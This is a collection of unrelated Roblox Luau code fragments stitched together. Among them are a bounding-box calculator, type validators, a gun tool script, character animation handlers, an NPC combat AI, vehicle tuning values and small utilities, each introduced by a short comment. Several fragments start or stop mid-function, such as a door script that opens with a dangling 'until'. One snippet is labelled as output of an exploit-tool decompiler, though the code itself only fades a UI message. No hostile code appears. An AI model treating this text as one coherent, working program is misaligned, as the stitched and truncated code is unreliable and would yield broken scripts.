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-- Create shortcuts to avoid intensive lookups
local CFrame_new = CFrame.new; local table_insert = table.insert; local CFrame_toWorldSpace = CFrame.new().toWorldSpace; local math_min = math.min; local math_max = math.max; local unpack = unpack; function BoundingBoxModule.CalculateExtents(Items, StaticExtents, ExtentsOnly) -- Returns the size and position of a box covering all items in `Items` -- Ensure there are items if #Items == 0 then return; end; -- Get initial extents data for comparison local ComparisonBaseMin = StaticExtents and StaticExtents.Min or Items[1].Position; local ComparisonBaseMax = StaticExtents and StaticExtents.Max or Items[1].Position; local MinX, MinY, MinZ = ComparisonBaseMin.X, ComparisonBaseMin.Y, ComparisonBaseMin.Z; local MaxX, MaxY, MaxZ = ComparisonBaseMax.X, ComparisonBaseMax.Y, ComparisonBaseMax.Z; -- Go through each part in `Items` for _, Part in pairs(Items) do -- Avoid re-calculating for static parts if not ((IsPhysicsStatic() or Part.Anchored) and StaticExtents) then -- Get shortcuts to part data local PartCFrame = Part.CFrame; local PartSize = Part.Size / 2; local SizeX, SizeY, SizeZ = PartSize.X, PartSize.Y, PartSize.Z; local Corner; local XPoints, YPoints, ZPoints = {}, {}, {}; Corner = PartCFrame * CFrame_new(SizeX, SizeY, SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(-SizeX, SizeY, SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(SizeX, -SizeY, SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(SizeX, SizeY, -SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(-SizeX, SizeY, -SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(-SizeX, -SizeY, SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(SizeX, -SizeY, -SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); Corner = PartCFrame * CFrame_new(-SizeX, -SizeY, -SizeZ); table_insert(XPoints, Corner.x); table_insert(YPoints, Corner.y); table_insert(ZPoints, Corner.z); -- Reduce gathered points to min/max extents MinX = math_min(MinX, unpack(XPoints)); MinY = math_min(MinY, unpack(YPoints)); MinZ = math_min(MinZ, unpack(ZPoints)); MaxX = math_max(MaxX, unpack(XPoints)); MaxY = math_max(MaxY, unpack(YPoints)); MaxZ = math_max(MaxZ, unpack(ZPoints)); end; end; -- Calculate the extents local Extents = { Min = Vector3.new(MinX, MinY, MinZ), Max = Vector3.new(MaxX, MaxY, MaxZ); }; -- Only return extents if requested if ExtentsOnly then return Extents; end; -- Calculate the bounding box size local Size = Vector3.new( MaxX - MinX, MaxY - MinY, MaxZ - MinZ ); -- Calculate the bounding box center local Position = CFrame.new( MinX + (MaxX - MinX) / 2, MinY + (MaxY - MinY) / 2, MinZ + (MaxZ - MinZ) / 2 ); -- Return the size and position return Size, Position; end; return BoundingBoxModule;
--[[** ensure value is an Instance and it's ClassName matches the given ClassName by an IsA comparison @param className The class name to check for @returns A function that will return true iff the condition is passed **--]]
function t.instanceIsA(className, childTable) assert(t.string(className)) local childrenCheck if childTable ~= nil then childrenCheck = t.children(childTable) end return function(value) local instanceSuccess = t.Instance(value) if not instanceSuccess then return false end if not value:IsA(className) then return false end if childrenCheck then local childrenSuccess = childrenCheck(value) if not childrenSuccess then return false end end return true end end
-- PROPERTIES
IconController.topbarEnabled = true IconController.controllerModeEnabled = false IconController.previousTopbarEnabled = checkTopbarEnabled() IconController.leftGap = 12 IconController.midGap = 12 IconController.rightGap = 12
-- ROBLOX deviation START: additional assignments for Lua type inferrence to work
exports.ARROW = specialCharsModule.ARROW exports.ICONS = specialCharsModule.ICONS exports.CLEAR = specialCharsModule.CLEAR
-- @preconditions: vec should be a unit vector, and 0 < rayLength <= 1000
function RayCast(startPos, vec, rayLength) local hitObject, hitPos = game.Workspace:FindPartOnRay(Ray.new(startPos + (vec * .01), vec * rayLength), Handle) if hitObject and hitPos then local distance = rayLength - (hitPos - startPos).magnitude if RayIgnoreCheck(hitObject, hitPos) and distance > 0 then -- there is a chance here for potential infinite recursion return RayCast(hitPos, vec, distance) end end return hitObject, hitPos end function TagHumanoid(humanoid, player) -- Add more tags here to customize what tags are available. while humanoid:FindFirstChild('creator') do humanoid:FindFirstChild('creator'):Destroy() end local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid DebrisService:AddItem(creatorTag, 1.5) local weaponIconTag = Instance.new("StringValue") weaponIconTag.Value = IconURL weaponIconTag.Name = "icon" weaponIconTag.Parent = creatorTag end local function CreateFlash() if FlashHolder then local flash = Instance.new('Fire', FlashHolder) flash.Color = Color3.new(1, 140 / 255, 0) flash.SecondaryColor = Color3.new(1, 0, 0) flash.Size = 0.3 DebrisService:AddItem(flash, FireRate / 1.5) else FlashHolder = Instance.new("Part", Tool) FlashHolder.Transparency = 1 FlashHolder.CanCollide= false FlashHolder.Size = Vector3.new(1, 1, 1) FlashHolder.Position = Tool.Handle.Position local Weld = Instance.new("ManualWeld") Weld.C0 = CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) Weld.C1 = CFrame.new(0, 2.2, 0, 0, 0, 1, 1, 0, 0, 0, 1, 0) Weld.Part0 = FlashHolder Weld.Part1 = Tool.Handle Weld.Parent = FlashHolder end end local function CreateBullet(bulletPos) local bullet = Instance.new('Part', Workspace) bullet.FormFactor = Enum.FormFactor.Custom bullet.Size = Vector3.new(0.1, 0.1, 0.1) bullet.BrickColor = MyPlayer.TeamColor bullet.Shape = Enum.PartType.Ball bullet.CanCollide = false bullet.CFrame = CFrame.new(bulletPos) bullet.Anchored = true bullet.TopSurface = Enum.SurfaceType.Smooth bullet.BottomSurface = Enum.SurfaceType.Smooth bullet.Name = 'Bullet' DebrisService:AddItem(bullet, 2.5) local fire = Instance.new("Fire", bullet) fire.Color = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) fire.SecondaryColor = Color3.new(MyPlayer.TeamColor.r, MyPlayer.TeamColor.g, MyPlayer.TeamColor.b) fire.Size = 5 fire.Heat = 0 DebrisService:AddItem(fire, 0.2) return bullet end local function Reload() if not Reloading then Reloading = true -- Don't reload if you are already full or have no extra ammo if AmmoInClip ~= ClipSize and SpareAmmo > 0 then if RecoilTrack then RecoilTrack:Stop() end if WeaponGui and WeaponGui:FindFirstChild('Crosshair') then if WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = true end end wait(ReloadTime) -- Only use as much ammo as you have local ammoToUse = math.min(ClipSize - AmmoInClip, SpareAmmo) AmmoInClip = AmmoInClip + ammoToUse SpareAmmo = SpareAmmo - ammoToUse UpdateAmmo(AmmoInClip) end Reloading = false end end function OnFire() if IsShooting then return end if MyHumanoid and MyHumanoid.Health > 0 then if RecoilTrack and AmmoInClip > 0 then RecoilTrack:Play() end IsShooting = true while LeftButtonDown and AmmoInClip > 0 and not Reloading do if Spread and not DecreasedAimLastShot then Spread = math.min(MaxSpread, Spread + AimInaccuracyStepAmount) UpdateCrosshair(Spread) end DecreasedAimLastShot = not DecreasedAimLastShot if Handle:FindFirstChild('FireSound') then Handle.FireSound:Play() end CreateFlash() if MyMouse then local targetPoint = MyMouse.Hit.p local shootDirection = (targetPoint - Handle.Position).unit -- Adjust the shoot direction randomly off by a little bit to account for recoil shootDirection = CFrame.Angles((0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread, (0.5 - math.random()) * 2 * Spread) * shootDirection local hitObject, bulletPos = RayCast(Handle.Position, shootDirection, Range) local bullet -- Create a bullet here if hitObject then bullet = CreateBullet(bulletPos) end if hitObject and hitObject.Parent then local hitHumanoid = hitObject.Parent:FindFirstChild("Humanoid") if hitHumanoid then local hitPlayer = game.Players:GetPlayerFromCharacter(hitHumanoid.Parent) if MyPlayer.Neutral or (hitPlayer and hitPlayer.TeamColor ~= MyPlayer.TeamColor) then TagHumanoid(hitHumanoid, MyPlayer) hitHumanoid:TakeDamage(Damage) if bullet then bullet:Destroy() bullet = nil --bullet.Transparency = 1 end Spawn(UpdateTargetHit) end end end AmmoInClip = AmmoInClip - 1 UpdateAmmo(AmmoInClip) end wait(FireRate) end IsShooting = false if AmmoInClip == 0 then Reload() end if RecoilTrack then RecoilTrack:Stop() end end end local TargetHits = 0 function UpdateTargetHit() TargetHits = TargetHits + 1 if WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = true end wait(0.5) TargetHits = TargetHits - 1 if TargetHits == 0 and WeaponGui and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('TargetHitImage') then WeaponGui.Crosshair.TargetHitImage.Visible = false end end function UpdateCrosshair(value, mouse) if WeaponGui then local absoluteY = 650 WeaponGui.Crosshair:TweenSize( UDim2.new(0, value * absoluteY * 2 + 23, 0, value * absoluteY * 2 + 23), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, 0.33) end end function UpdateAmmo(value) if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('ClipAmmo') then WeaponGui.AmmoHud.ClipAmmo.Text = AmmoInClip if value > 0 and WeaponGui:FindFirstChild('Crosshair') and WeaponGui.Crosshair:FindFirstChild('ReloadingLabel') then WeaponGui.Crosshair.ReloadingLabel.Visible = false end end if WeaponGui and WeaponGui:FindFirstChild('AmmoHud') and WeaponGui.AmmoHud:FindFirstChild('TotalAmmo') then WeaponGui.AmmoHud.TotalAmmo.Text = SpareAmmo end end function OnMouseDown() LeftButtonDown = true OnFire() end function OnMouseUp() LeftButtonDown = false end function OnKeyDown(key) if string.lower(key) == 'r' then Reload() end end function OnEquipped(mouse) RecoilAnim = WaitForChild(Tool, 'Recoil') FireSound = WaitForChild(Handle, 'FireSound') MyCharacter = Tool.Parent MyPlayer = game:GetService('Players'):GetPlayerFromCharacter(MyCharacter) MyHumanoid = MyCharacter:FindFirstChild('Humanoid') MyTorso = MyCharacter:FindFirstChild('Torso') MyMouse = mouse WeaponGui = WaitForChild(Tool, 'WeaponHud'):Clone() if WeaponGui and MyPlayer then WeaponGui.Parent = MyPlayer.PlayerGui UpdateAmmo(AmmoInClip) end if RecoilAnim then RecoilTrack = MyHumanoid:LoadAnimation(RecoilAnim) end if MyMouse then -- Disable mouse icon MyMouse.Icon = "http://www.roblox.com/asset/?id=18662154" MyMouse.Button1Down:connect(OnMouseDown) MyMouse.Button1Up:connect(OnMouseUp) MyMouse.KeyDown:connect(OnKeyDown) end end
--//INSPARE; One more year, every year//--
--//Steeing System Six//-- --//Visionary//--
-- Libraries
local Roact = require(Vendor:WaitForChild('Roact')) local Cryo = require(Libraries:WaitForChild('Cryo')) local new = Roact.createElement
--[=[ Takes a list of variables and uses them to compute an observable that will combine into any value. These variables can be any value, and if they can be converted into an Observable, they will be, which will be used to compute the value. ```lua local verbState = Blend.State("hi") local nameState = Blend.State("alice") local computed = Blend.Computed(verbState, nameState, function(verb, name) return verb .. " " .. name end) maid:GiveTask(computed:Subscribe(function(sentence) print(sentence) end)) --> "hi alice" nameState.Value = "bob" --> "hi bob" verbState.Value = "bye" --> "bye bob" nameState.Value = "alice" --> "bye alice" ``` @param ... A series of convertable states, followed by a function at the end. @return Observable<T> ]=]
function Blend.Computed(...) local values = {...} local n = select("#", ...) local compute = values[n] assert(type(compute) == "function", "Bad compute") local args = {} for i=1, n - 1 do local observable = Blend.toPropertyObservable(values[i]) if observable then args[i] = observable else args[i] = Rx.of(values[i]) end end if #args == 0 then -- static value? return Observable.new(function(sub) sub:Fire(compute()) end) elseif #args == 1 then return Rx.map(compute)(args[1]) else return Rx.combineLatest(args) :Pipe({ Rx.map(function(result) return compute(unpack(result, 1, n - 1)) end); }) end end
-- Fetch the thumbnail
local userId = Player.UserId local thumbType = Enum.ThumbnailType.HeadShot local thumbSize = Enum.ThumbnailSize.Size420x420 local content, isReady = Players:GetUserThumbnailAsync(userId, thumbType, thumbSize)
---------END LEFT DOOR
game.Workspace.DoorValues.Moving.Value = true game.Workspace.DoorClosed.Value = true wait(0.1) until game.Workspace.DoorValues.Close.Value==69 end game.Workspace.DoorValues.Moving.Value = false end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[** ensures Roblox RBXScriptConnection type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.RBXScriptConnection = t.typeof("RBXScriptConnection")
-- periodically pick one of the workspace.Music's children and play song, never pick last
Songs = workspace.Music:GetChildren() local LastSong local Song task.wait(3) while true do repeat task.wait() Song = Songs[math.random(1, #workspace.Music:GetChildren())] until Song ~= LastSong LastSong = Song Song:Play() task.wait(Song.TimeLength) task.wait(math.random(1,60)) end
-- Referenced by doing ``main:GetModule("cf")``
local module = {}
-- same as jump for now
function moveFreeFall() RightShoulder.MaxVelocity = 0.4 LeftShoulder.MaxVelocity = 0.4 RightShoulder:SetDesiredAngle(3.14) LeftShoulder:SetDesiredAngle(-3.14) RightHip:SetDesiredAngle(0) LeftHip:SetDesiredAngle(0) wait(0.8) end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then RightShoulder:SetDesiredAngle(1.57) return end if (toolAnim == "Slash") then RightShoulder.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(0) return end if (toolAnim == "Lunge") then RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightHip.MaxVelocity = 0.5 LeftHip.MaxVelocity = 0.5 RightShoulder:SetDesiredAngle(1.57) LeftShoulder:SetDesiredAngle(1.0) RightHip:SetDesiredAngle(1.57) LeftHip:SetDesiredAngle(1.0) return end end function move(time) local amplitude local frequency if (pose == "Jumping") then moveJump() return end if (pose == "FreeFall") then moveFreeFall() return end if (pose == "Seated") then moveSit() return end local climbFudge = 0 if (pose == "Running") then RightShoulder.MaxVelocity = 0.1 LeftShoulder.MaxVelocity = 0.1 amplitude = 1 frequency = 9 elseif (pose == "Climbing") then RightShoulder.MaxVelocity = 0.3 LeftShoulder.MaxVelocity = 0.3 amplitude = 0 frequency = 0 climbFudge = -3.14 else amplitude = 0.1 frequency = 1 end desiredAngle = amplitude * math.sin(time*frequency) RightShoulder:SetDesiredAngle(desiredAngle + climbFudge) LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge) RightHip:SetDesiredAngle(-desiredAngle) LeftHip:SetDesiredAngle(-desiredAngle) local tool = getTool() if tool then animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else toolAnim = "None" toolAnimTime = 0 end end
--[[ Merges values from zero or more tables onto a target table. If a value is set to None, it will instead be removed from the table. This function is identical in functionality to JavaScript's Object.assign. ]] -- Luau TODO: no way to strongly type this accurately, it doesn't eliminate deleted keys of T, and Luau won't do intersections of type packs: <T, ...U>(T, ...: ...U): T & ...U
return function<T, U, V, W>(target: T, source0: U?, source1: V?, source2: W?, ...): T & U & V & W if source0 ~= nil and typeof(source0 :: any) == "table" then for key, value in pairs(source0 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end if source1 ~= nil and typeof(source1 :: any) == "table" then for key, value in pairs(source1 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end if source2 ~= nil and typeof(source2 :: any) == "table" then for key, value in pairs(source2 :: any) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end for index = 1, select("#", ...) do local rest = select(index, ...) if rest ~= nil and typeof(rest) == "table" then for key, value in pairs(rest) do if value == None then (target :: any)[key] = nil else (target :: any)[key] = value end end end end -- TODO? we can add & Object to this, if needed by real-world code, once CLI-49825 is fixed return (target :: any) :: T & U & V & W end
--[[ @brief Normalizes an array using the 1 norm. The satellite array will be multiplied by the same normalizing factor. @param array The array to normalize. --]]
function module.NormalizeArrayWithSatellite(array, satellite) local sum = module.Sum(array); if sum==0 then return; end for i = 1, #array do array[i] = array[i] / sum; end for i = 1, #satellite do satellite[i] = satellite[i] / sum; end end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; cPcall = nil; Pcall = nil; Routine = nil; service = nil; return function(p1) local v1 = client.UI.Prepare(script.Parent.Parent); local l__PlayerGui__2 = service.PlayerGui; local l__Frame__3 = v1.Frame; local l__Message__4 = v1.Frame.Message; local l__Title__5 = v1.Frame.Title; local l__gIndex__6 = p1.gIndex; local l__Scroll__7 = p1.Scroll; if not p1.Message or not p1.Title then v1:Destroy(); end; l__Title__5.Text = p1.Title; l__Message__4.Text = p1.Message; l__Title__5.TextTransparency = 1; l__Message__4.TextTransparency = 1; l__Title__5.TextStrokeTransparency = 1; l__Message__4.TextStrokeTransparency = 1; l__Frame__3.BackgroundTransparency = 1; local v8 = service.New("BlurEffect"); v8.Enabled = false; v8.Size = 0; v8.Parent = workspace.CurrentCamera; local u1 = false; local l__gTable__2 = p1.gTable; local function u3() if not u1 then for v9 = 1, 10 do if v8.Size > 0 then v8.Size = v8.Size - 1; end; if l__Message__4.TextTransparency < 1 then l__Message__4.TextTransparency = l__Message__4.TextTransparency + 0.1; l__Title__5.TextTransparency = l__Title__5.TextTransparency + 0.1; end; if l__Message__4.TextStrokeTransparency < 1 then l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency + 0.1; l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency + 0.1; end; if l__Frame__3.BackgroundTransparency < 1 then l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency + 0.03; end; wait(0.016666666666666666); end; v8.Enabled = false; v8:Destroy(); service.UnWrap(v1):Destroy(); u1 = true; end; end; function l__gTable__2.CustomDestroy() if not u1 then u1 = true; pcall(u3); end; pcall(function() service.UnWrap(v1):Destroy(); end); pcall(function() v8:Destroy(); end); end; (function() if not u1 then v8.Enabled = true; l__gTable__2:Ready(); for v10 = 1, 10 do if v8.Size < 10 then v8.Size = v8.Size + 1; end; if l__Message__4.TextTransparency > 0.1 then l__Message__4.TextTransparency = l__Message__4.TextTransparency - 0.1; l__Title__5.TextTransparency = l__Title__5.TextTransparency - 0.1; end; if l__Message__4.TextStrokeTransparency > 0.5 then l__Message__4.TextStrokeTransparency = l__Message__4.TextStrokeTransparency - 0.1; l__Title__5.TextStrokeTransparency = l__Title__5.TextStrokeTransparency - 0.1; end; if l__Frame__3.BackgroundTransparency > 0.3 then l__Frame__3.BackgroundTransparency = l__Frame__3.BackgroundTransparency - 0.03; end; wait(0.016666666666666666); end; end; end)(); wait(p1.Time and 5); if not u1 then u3(); end; end;
------------------------------------------------------------------------------------------- ------------------------------------------------------------------------------------------- -- STATE CHANGE HANDLERS
function onRunning(speed) local movedDuringEmote = userEmoteToRunThresholdChange and currentlyPlayingEmote and Humanoid.MoveDirection == Vector3.new(0, 0, 0) local speedThreshold = movedDuringEmote and Humanoid.WalkSpeed or 0.75 humanoidSpeed = speed if speed > speedThreshold then playAnimation("walk", 0.2, Humanoid) if pose ~= "Running" then pose = "Running" updateVelocity(0) -- Force velocity update in response to state change end else if emoteNames[currentAnim] == nil and not currentlyPlayingEmote then playAnimation("idle", 0.2, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) local scale = 5.0 playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / scale) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end
-- разместим копии
for i = -4, 4 do local ang = rnd:NextInteger(-2,2) * 45 -- расчитываем угол local x = math.sin(math.rad(ang)) * radius local y = math.cos(math.rad(ang)) * radius local pos = CFrame.new(x, radius-y-6,10+17*i + script.Parent.Parent.BasePart.Position.Z ) * CFrame.Angles(0,0, math.rad(ang)) local tmp = fakel:Clone() tmp:SetPrimaryPartCFrame(pos) tmp.Fire.Fire.SleepTime.Value = rnd:NextInteger(1,5) tmp.Fire.Fire.SpeedDOWN.Value = rnd:NextNumber(0.1,0.5) tmp.Fire.Fire.SpeedUP.Value = rnd:NextNumber(0.3,0.7) tmp.Parent = script.Parent end
--[[Drivetrain]]
Tune.Config = "FWD" --"FWD" , "RWD" , "AWD" --Differential Settings Tune.FDiffSlipThres = 75 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed) Tune.FDiffLockThres = 75 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel) Tune.RDiffSlipThres = 50 -- 1 - 100% Tune.RDiffLockThres = 50 -- 0 - 100% Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only] Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only] --Traction Control Settings Tune.TCSEnabled = true -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
-- Game Services
local NotificationManager = require(script.NotificationManager) local TimerManager = require(script.TimerManager)
-- regular lua compatibility
local typeof = typeof or type local function primitive(typeName) return function(value) local valueType = typeof(value) if valueType == typeName then return true else return false, string.format("%s expected, got %s", typeName, valueType) end end end local t = {}
-- Initialize anchor tool
local AnchorTool = require(CoreTools:WaitForChild 'Anchor') Core.AssignHotkey('M', Core.Support.Call(Core.EquipTool, AnchorTool)); Core.Dock.AddToolButton(Core.Assets.AnchorIcon, 'M', AnchorTool, 'AnchorInfo');
------Mood------
local faces = myHead.Faces status:set("currentFace",myHead.faceIdle) local idleIndex = 5 function movementLogic() local target = status:get("currentTarget") local dist = core.checkDist(target,myRoot) local canSee = core.checkSight(target) idleIndex -= 1 if canSee then idleIndex = 5 --100 end if ((dist > 50 or not canSee) and (myRoot.Position.Y < target.Position.Y-10 or idleIndex <= 0)) then movement.pathToLocation(target) elseif (dist > 30 or not canSee) and core.checkPotentialSight(target) then myHuman:MoveTo(movement.slowAdvance()) wait(0.3) elseif dist > 50 and dist < 90 and canSee and status:get("m4Equipped") then myHuman:MoveTo(movement.strafe()) wait(0.5) elseif dist > 4 and dist < 50 and canSee and math.abs(myRoot.Position.Y - target.Position.Y) < 2 and status:get("weaponAimed") then myHuman:MoveTo(movement.retreat()) wait(0.2) elseif (dist < 4 and canSee) or status:get("knifeEquipped") then myHuman:MoveTo(target.Position) end end function movementLoop() while myHuman.Health>0 do if status:get("currentTarget") then movementLogic() else if mySettings.Wander.Value and math.random(4) == 3 then movement.walkRandom() end wait(3) end wait(0.1) end end function getIncomingAttackers() local targets = {} local params = RaycastParams.new() params.FilterDescendantsInstances = {marine} for i = -20, 20, 2 do local origin = myRoot.Position + Vector3.new(-20,0,i) local dir = Vector3.new(40,0,0) troubleshoot.createBeam(origin,dir) local result = workspace:Raycast(origin, dir) if result then local human = core.getHuman(result.Instance.Parent) local root = result.Instance.Parent:FindFirstChild("HumanoidRootPart") if human and human.Health>0 and root and not core.isAlly(result.Instance.Parent) then if core.checkSight(root) then table.insert(targets,root) end end end end --Sort through targets to target the closest one to us local dist = math.huge local tempTarget = nil for _,potentialTarget in ipairs(targets) do if core.checkDist(potentialTarget,myRoot) < dist then dist = core.checkDist(potentialTarget,myRoot) tempTarget = potentialTarget end end if tempTarget then status:set("currentTarget",tempTarget) end end function searchTargetLoop() while myHuman.Health>0 do getIncomingAttackers() if not status:get("currentTarget") or not status:get("currentTarget").Parent or status:get("currentTarget").Parent.Humanoid.Health <=0 or status:get("tookDamage") then status:set("tookDamage",false) status:set("currentTarget",nil) targeting.findTarget() elseif not core.checkSight(status:get("currentTarget")) then targeting.findTarget() if not status:get("currentTarget") then wait(3) end end wait(0.5) end end function aimingLoop() while myHuman.Health>0 do if status:get("currentTarget") then if core.checkSight(status:get("currentTarget")) and status:get("m4Equipped") then actions.aim(status:get("currentTarget")) else wait(0.5) end else wait(2) end wait(0.1) end end function attackLogic() actions.updateFace("Attacking") local target = status:get("currentTarget") local distance = core.checkDist(myRoot,target) if distance > 7 then --If there is a cluster of enemies far enough away throw grenade. if combat.checkCluster(target) and distance < 100 and distance > 40 and status:get("grenadeCool") then combat.throwGrenade(target) elseif status:get("m4Equipped") then if core.facingTarget() and core.checkShot(target) then combat.shoot(target) end else actions.drawM4() end else actions.drawKnife() combat.stab() end end function attackLoop() while myHuman.Health>0 do local target = status:get("currentTarget") if target and target.Parent then actions.updateFace("Hunting") --If we have a target we can see if core.checkSight(status:get("currentTarget")) and core.checkDist(myRoot,target) < mySettings.M4.Range.Value then attackLogic() elseif status:get("m4Equipped") and not status:get("weaponAimed") then status:set("weaponAimed",false) actions.lowerM4() end else actions.updateFace("Idle") actions.yieldWeapons() wait(2) end wait(0.1) end end core.spawn(searchTargetLoop) core.spawn(attackLoop) core.spawn(movementLoop) core.spawn(aimingLoop)
-- Function
Prompt.ProximityPrompt.Triggered:Connect(function(plr) Prompt.ProximityPrompt.Enabled = false -- local anim = plr.Character:FindFirstChild("Humanoid"):LoadAnimation(script.Animation) anim:Play() -- for i,v in pairs(script.Parent.Quebrar:GetChildren()) do v.Transparency = 0 end -- for money = 1,3 do local clone = game.ServerStorage.Dinheiro:Clone() clone.Parent = game.Workspace clone.Position = Prompt.Position end -- soco:Play() wait(1) alarme:Play() -- tela.BrickColor = BrickColor.new("Really red") tela.Material = "Neon" -- wait(60*3) tela.BrickColor = BrickColor.new("Dark stone grey") tela.Material = "SmoothPlastic" -- Prompt.ProximityPrompt.Enabled = true -- for i,v in pairs(script.Parent.Quebrar:GetChildren()) do v.Transparency = 1 end end)
--[[ By: Brutez. ]]
-- local JeffTheKillerScript = script; repeat wait(0)until JeffTheKillerScript and JeffTheKillerScript.Parent and JeffTheKillerScript.Parent.ClassName=="Model"and JeffTheKillerScript.Parent:FindFirstChild("Head")and JeffTheKillerScript.Parent:FindFirstChild("HumanoidRootPart"); local JeffTheKiller=JeffTheKillerScript.Parent; function raycast(Spos,vec,currentdist) local hit2,pos2=game.Workspace:FindPartOnRay(Ray.new(Spos+(vec*.05),vec*currentdist),JeffTheKiller); if hit2~=nil and pos2 then if hit2.Name=="Handle" and not hit2.CanCollide or string.sub(hit2.Name,1,6)=="Effect"and not hit2.CanCollide then local currentdist=currentdist-(pos2-Spos).magnitude; return raycast(pos2,vec,currentdist); end; end; return hit2,pos2; end; function RayCast(Position,Direction,MaxDistance,IgnoreList) return game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(Position,Direction.unit*(MaxDistance or 999.999)),IgnoreList); end;
--// Modules //--
local KingdomHolder = require(ServerStorage.KingdomHolder) Players.PlayerAdded:Connect(function(plr) KingdomHolder.CreateKingdom(plr) end)
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Money.Gold.Value < 1000 end
--Code--
local function PlayerTouched(Part) local Parent = Part.Parent if game.Players:GetPlayerFromCharacter(Parent) then wait(0.8) Brick.Transparency=Brick.Transparency+0.8 Brick.CanCollide=false wait(3.2) Brick.Transparency=0 Brick.CanCollide=true end end Brick.Touched:connect(PlayerTouched)
--[[ @brief Produces a cumulative sum along a table. @details The passed-in table will be mutated. @example Accumulate({1, 2, 3}) = {1, 3, 6}. @param t The table to accumulate. --]]
function module.Accumulate(t) local s = 0; for i, v in pairs(t) do s = s + t[i]; t[i] = s; end return t; end
--// Use the power of the stars and hit as many people as you can to perform a chain attack!
